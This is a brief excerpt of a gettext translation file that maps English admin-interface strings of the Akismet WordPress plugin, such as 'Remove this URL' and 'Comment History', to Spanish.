#: class.akismet-admin.php:147
msgid "Removing..."
msgstr "Eliminando..."

#: class.akismet-admin.php:146
msgid "Remove this URL"
msgstr "Eliminar esta URL"

#: class.akismet-admin.php:87 class.akismet-admin.php:1259
msgid "Akismet"
msgstr "Akismet"

#: class.akismet-admin.php:83
msgid "Comment History"
msgstr "Historial de comentarios"

Hry